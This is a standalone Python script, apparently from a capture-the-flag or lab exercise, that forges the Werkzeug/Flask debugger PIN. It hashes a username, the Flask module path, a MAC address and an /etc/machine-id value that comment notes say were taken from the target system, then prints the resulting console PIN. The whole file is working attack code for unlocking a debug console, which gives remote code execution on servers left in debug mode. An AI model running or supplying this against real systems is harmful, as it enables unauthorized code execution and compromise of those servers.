forgePin.py

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskdev',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892354',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '49bab8e92cca463691a8b330fc54cc89',# get_machine_id(), /etc/machine-id
    b'0000000000000000',# os.urandom(16)
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

rv = None

if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)